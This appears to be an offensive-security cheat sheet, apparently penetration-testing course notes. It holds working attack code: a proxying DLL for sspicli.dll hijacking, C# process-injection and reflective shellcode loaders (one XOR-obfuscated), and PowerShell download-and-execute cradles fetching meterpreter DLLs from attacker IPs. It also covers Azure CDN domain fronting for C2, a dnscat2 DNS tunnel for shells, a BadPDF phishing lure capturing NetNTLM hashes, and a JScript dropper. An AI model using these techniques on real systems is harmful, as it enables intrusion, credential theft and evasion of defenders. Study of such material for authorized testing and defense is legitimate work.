#pragma comment(linker,"/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12")
#pragma comment(linker,"/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13")
#pragma comment(linker,"/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14")
#pragma comment(linker,"/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15")
#pragma comment(linker,"/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16")
#pragma comment(linker,"/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17")
#pragma comment(linker,"/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18")
#pragma comment(linker,"/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19")
#pragma comment(linker,"/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20")
#pragma comment(linker,"/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21")
#pragma comment(linker,"/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22")
#pragma comment(linker,"/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23")
#pragma comment(linker,"/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24")
#pragma comment(linker,"/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25")
#pragma comment(linker,"/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26")
#pragma comment(linker,"/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27")
#pragma comment(linker,"/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28")
#pragma comment(linker,"/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29")
#pragma comment(linker,"/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30")
#pragma comment(linker,"/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31")
#pragma comment(linker,"/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32")
#pragma comment(linker,"/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33")
#pragma comment(linker,"/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34")
#pragma comment(linker,"/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35")
#pragma comment(linker,"/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36")
#pragma comment(linker,"/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37")
#pragma comment(linker,"/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38")
#pragma comment(linker,"/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39")
#pragma comment(linker,"/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40")
#pragma comment(linker,"/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41")
#pragma comment(linker,"/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42")
#pragma comment(linker,"/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43")
#pragma comment(linker,"/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44")
#pragma comment(linker,"/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45")
#pragma comment(linker,"/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46")
#pragma comment(linker,"/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47")
#pragma comment(linker,"/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48")
#pragma comment(linker,"/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49")
#pragma comment(linker,"/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50")
#pragma comment(linker,"/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51")
#pragma comment(linker,"/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52")
#pragma comment(linker,"/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53")
#pragma comment(linker,"/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54")
#pragma comment(linker,"/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55")
#pragma comment(linker,"/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56")
#pragma comment(linker,"/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57")
#pragma comment(linker,"/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58")
#pragma comment(linker,"/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59")
#pragma comment(linker,"/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60")
#pragma comment(linker,"/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61")
#pragma comment(linker,"/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62")
#pragma comment(linker,"/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63")
#pragma comment(linker,"/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64")
#pragma comment(linker,"/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65")
#pragma comment(linker,"/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66")
#pragma comment(linker,"/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67")
#pragma comment(linker,"/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68")
#pragma comment(linker,"/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69")
#pragma comment(linker,"/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70")
#pragma comment(linker,"/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71")
#pragma comment(linker,"/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72")
#pragma comment(linker,"/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73")
#pragma comment(linker,"/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74")
#pragma comment(linker,"/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75")
#pragma comment(linker,"/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76")
#pragma comment(linker,"/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1")
#pragma comment(linker,"/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2")
#pragma comment(linker,"/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77")
#pragma comment(linker,"/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78")
#pragma comment(linker,"/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79")
#pragma comment(linker,"/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80")
#pragma comment(linker,"/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81")
#pragma comment(linker,"/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82")
#pragma comment(linker,"/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83")
#pragma comment(linker,"/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84")
#pragma comment(linker,"/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85")
#pragma comment(linker,"/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86")
#pragma comment(linker,"/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87")
#pragma comment(linker,"/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88")
#pragma comment(linker,"/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89")
#pragma comment(linker,"/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90")
#pragma comment(linker,"/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91")
#pragma comment(linker,"/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92")
#pragma comment(linker,"/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93")
#pragma comment(linker,"/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94")
#pragma comment(linker,"/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95")
#pragma comment(linker,"/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96")
#pragma comment(linker,"/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97")
#pragma comment(linker,"/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98")
#pragma comment(linker,"/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99")
#pragma comment(linker,"/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100")
#pragma comment(linker,"/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101")
#pragma comment(linker,"/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102")
#pragma comment(linker,"/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103")
#pragma comment(linker,"/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104")
#pragma comment(linker,"/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3")
#pragma comment(linker,"/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105")
#pragma comment(linker,"/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106")
#pragma comment(linker,"/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107")
#pragma comment(linker,"/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108")
#include "windows.h"
#include "ios"
#include "fstream"
// Remove this line if you aren't proxying any functions.
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\sspicli.dll");
// Remove this function if you aren't proxying any functions.
VOID DebugToFile(LPCSTR szInput)
{
std::ofstream log("spartacus-proxy-sspicli.log", std::ios_base::app | std::ios_base::out);
log << szInput;
log << "\n";
}
void Payload()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
wchar_t cmd[] = L"calc.exe";
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DLL Hijacking
- Use ProcessMonitor with filters
Result Contains "Name Not Found"
Path Ends With ".dll"
- Generate a DLL. See below.
- Name it as with the same name as the missing DLL.
- If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.
DLL search order is as shown:
- The directory from which the application is loaded (E.g. C:\Program Files\application)
- The system directory (C:\Windows\System32)
- The 16-bit system directory
- The Windows directory
- The current directory
- Directories that are listed in the PATH environment variable
DLL Injection
- Open Visual Studios
- Choose
Class Library (.Net Framework).
- Accept the default name:
ClassLibrary1and proceed.
Staged DLL Injection
sudo msfvenom -p windows/x64/meterpreter/reverse_https
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll
This is a ConsoleApp. When its run it will inject the generated met.dll above into explorer.exe. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.
Note that this payload will write the met.dll to disk.
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject
{
class Program
{
// Import the OpenProcess function from the kernel32.dll library.
// This function is used to open an existing process by its ID.
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
// Import the VirtualAllocEx function from the kernel32.dll library.
// This function allocates memory within a specified process.
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// Import the WriteProcessMemory function from the kernel32.dll library.
// This function writes data to an area of memory in a specified process.
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
// Import the CreateRemoteThread function from the kernel32.dll library.
// This function creates a thread that runs in the address space of a specified process.
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
// Import the GetProcAddress function from the kernel32.dll library.
// This function retrieves the address of an exported function or variable from a specified DLL.
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
// Import the GetModuleHandle function from the kernel32.dll library.
// This function retrieves a handle to the specified module (DLL) in the current process.
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
// Get the path to the My Documents folder.
String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
// Construct the full path to the DLL file to be downloaded.
String dllName = dir + "\\met.dll";
// Create a WebClient instance for downloading files from the Internet.
WebClient wc = new WebClient();
// Download the DLL file from the specified URL to the local system.
wc.DownloadFile("http://192.168.119.120/met.dll", dllName);
// Get an array of Process instances for processes with the name "explorer".
Process[] expProc = Process.GetProcessesByName("explorer");
// Get the process ID of the first explorer process.
int pid = expProc[0].Id;
// Open the specified process with certain access rights.
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
// Allocate memory within the specified process.
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Declare a variable to store the number of bytes written during memory write operation.
IntPtr outSize;
// Write the bytes of the DLL name to the allocated memory in the target process.
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
// Get the address of the LoadLibraryA function from the kernel32.dll library.
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// Create a remote thread within the target process to execute the LoadLibraryA function.
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
}

Reflective DLL Injection
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory without touching the disk.
Requires a malicious DLL hosted on a download location you control.
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.
The below code is a Class Library (.NET Framework)
using System;
using System.Runtime.InteropServices;
namespace runthat
{
public class Beirut
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
public static void Tripoli()
{
byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };
int size = Tokyo.Length;
IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);
Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);
Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);
IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);
Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
Beirut.VirtualFree(Texas, 0, 0x8000);
}
}
}
Now load the DLL into memory.
$data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run4.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("runthat.Beirut")
$method = $class.GetMethod("Tripoli")
$method.Invoke(0, $null)
XOR'ed DLL injection code
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!
using System;
using System.Runtime.InteropServices;
namespace runthat
{
public class Beirut
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
public static void Tripoli()
{
byte[] Tokyo = new byte[324] {0xa8,....};
for (int i = 0; i < Tokyo.Length; i++)
{
Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) & 0xFF);
}
int size = Tokyo.Length;
IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);
Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);
Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);
IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);
Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
Beirut.VirtualFree(Texas, 0, 0x8000);
}
}
}
Reflective injection using Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection - PowerSploit
Public version may fail on Windows 10 1803 or newer due to issues with GetProcAddress in UnsafeNativeMethods . An updated script version is available to handle this in OneNote.
Setup:
- Allow Script Execution in PowerShell
Powershell -Exec Bypass
Commands:
- Download DLL and Get Explorer.exe Process ID:
$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll')
$procid = (Get-Process -Name explorer).Id
- Import Invoke-ReflectivePEInjection Script:
Import-Module Invoke-ReflectivePEInjection.ps1
- Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID:
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.
$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.45.192/met3.dll')
$procid = (Get-Process -Name explorer).Id
IEX(New-Object Net.WebClient).downloadString('http://192.168.45.192/Invoke-ReflectivePEInjection.ps1')
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid
Domain Fronting
Domain fronting is a technique where someone hides the true destination of their internet traffic by making it appear as though it's headed to a trusted and well-known website. Once the traffic reaches that trusted site, it's then redirected to its actual, hidden destination. It's like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.
Domain Fronting with Azure CDN
Objective: Host a Meterpreter listener on meterpreter.info using Azure's CDN to proxy requests.
1. Preliminaries:
- A controlled domain.
- An Azure subscription to create a CDN.
- An internet-accessible machine.
- Current setup: meterpreter.info points to an Ubuntu VM on DigitalOcean (IP: 138.68.99.177 ).
2. Setting Up CDN in Azure:
- From the Home screen, choose Create Resource .
- Search for CDN .
- Select CDN and click Create .
Configuration:
- Name : Any chosen name.
- Subscription : To pay for the service.
- Resource Group : Create new or use existing (Add -rg at end for new).
- RG Location : Chosen geographic location.
- Pricing Tier : Use Standard Verizon .
- CDN Endpoint Name : Chosen name with suffix .azureedge.net .
- Origin Type : Set to Custom Origin .
- Origin Hostname : The domain hosting the C2 server.
Wait ~90 minutes for Azure to complete the setup.
3. Disabling Caching:
- Caching may break the C2 channel.
- Choose Endpoint and Caching rules .
- Set Caching Behavior to Bypass Cache .
- Set Query String Caching Behavior to Bypass caching for query strings .
Wait up to 30 minutes for propagation.
4. Testing Connectivity:
4.1. HTTP Testing:
sudo python3 -m http.server 80
4.2. HTTPS Testing:
Use a Python script to handle HTTPS.
from http.server import HTTPServer, SimpleHTTPRequestHandler
import ssl
import socketserver
httpd = socketserver.TCPServer(('138.68.99.177', 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="key.pem", certfile='cert.pem', server_side=True)
httpd.serve_forever()
Run the script:
sudo python3 httpsserver.py
Verify using curl :
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]
5. Find Frontable Domain:
- Frontable domain must be hosted on azureedge.net .
- Use FindFrontableDomains tool by Steve Borosh.
Installation:
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]
cd FindFrontableDomains/
sudo ./setup.sh
Example scan for outlook.com :
python3 FindFrontableDomains.py --domain outlook.com
[-] Enumerating subdomains now for outlook.com
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
[-] Total Unique Subdomains Found: 2553
www.outlook.com
(...)
recommended.yggdrasil.outlook.com
---------------------------------------------------------
Starting search for frontable domains...
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.
Search complete!
Test potential frontable domain:
curl --header "Host: offensive-security.azureedge.net" [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]
6. Inspecting Traffic:
- Use Wireshark to inspect DNS and HTTP requests.
Getting shell using Domain fronting
- Initial setup: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:
The fronting domain is hosted on the same CDN as the attacker’s domain.
- CDN forwards requests based on the HTTP Host header.
- HTTPS Inspection: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.
- Certificate Details:
The TLS certificate used in the exchange can be Microsoft's.
- A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it's valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.
- Payload Creation:
Use msfvenom to create a reverse shell payload.
- The
HttpHostHeader option sets theHost header in HTTP. In the example: msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe > http-df.exe.
- Listener Configuration:
Configure a listener on the VM hosting the attacker site.
- Use the Metasploit multi/handler exploit with specified parameters to listen for incoming connections using the domain fronting technique.
- Payload Execution:
Start packet capturing tool (e.g., Wireshark).
- Execute the payload.
- Inspect the traffic details.
- The shell connects to the fronted domain's IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).
DNS Tunneling
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.
dnscat2
Guide: DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)

- Configuration on Ubuntu Machine
File to Edit: /etc/dnsmasq.conf
- Config Entries:
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.
server=/tunnel.com/192.168.119.120
server=/somedomain.com/192.168.119.120
- Restart dnsmasq:
offsec@ubuntu:~$ sudo systemctl restart dnsmasq
- Installing and Running dnscat2 on Kali Machine
Installation:
kali@kali:~$ sudo apt install dnscat2
- Starting Server:
kali@kali:~$ dnscat2-server tunnel.com
- Client command (example):
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com
- Running dnscat2 Client on Windows Machine
Start Command:
dnscat2-v0.07-client-win32.exe tunnel.com
- Authentication Check
Verify the authentication string Pedal Envied Tore Frozen Pegged Ware on both Kali and Windows sides.
- Interacting with Client Session on Kali Machine
Attach to Session:
dnscat2> session -i 1
- Execute Commands Interactively:
command (client) 1> shell
- Switch to New Session:
command (client) 1> session -i 2
- Tunneling TCP with dnscat2 on Kali Machine
TCP/IP Tunnels Over DNS:
- dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.
command (client) 1> listen 127.0.0.1:3389 172.16.51.21:3389
Dropper / Phishing
[BAD]PDF
BADPDF Malicious PDF Creator - Metasploit - InfosecMatter
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.
# Use the metasploit exploit and generate a PDF
msf6 auxiliary(fileformat/badpdf) > set lhost 10.10.14.8
lhost => 10.10.14.8
msf6 auxiliary(fileformat/badpdf) > set filename job.pdf
filename => job.pdf
msf6 auxiliary(fileformat/badpdf) > run
# Start a SMB server
impacket-smbserver share . -smb2support
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.
impacket-smbserver share . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.110.35,4181)
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)
[*] User WORKSTATION-1\Testuserauthenticated successfully
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000
[*] Closing down connection (10.10.110.35,4181)
[*] Remaining connections []
Jscript (.js)
- It downloads a file from a specified URL (" http://192.168.1.126/met.exe").
- It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.
- If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named "met.exe" using the `ADODB.Stream` object.
- It then uses the `WScript.Shell` object to run the "met.exe" file.
var url = " http://192.168.119.120/met.exe";
var Object = WScript.CreateObject('MSXML2.XMLHTTP');
Object.Open('GET', url, false);
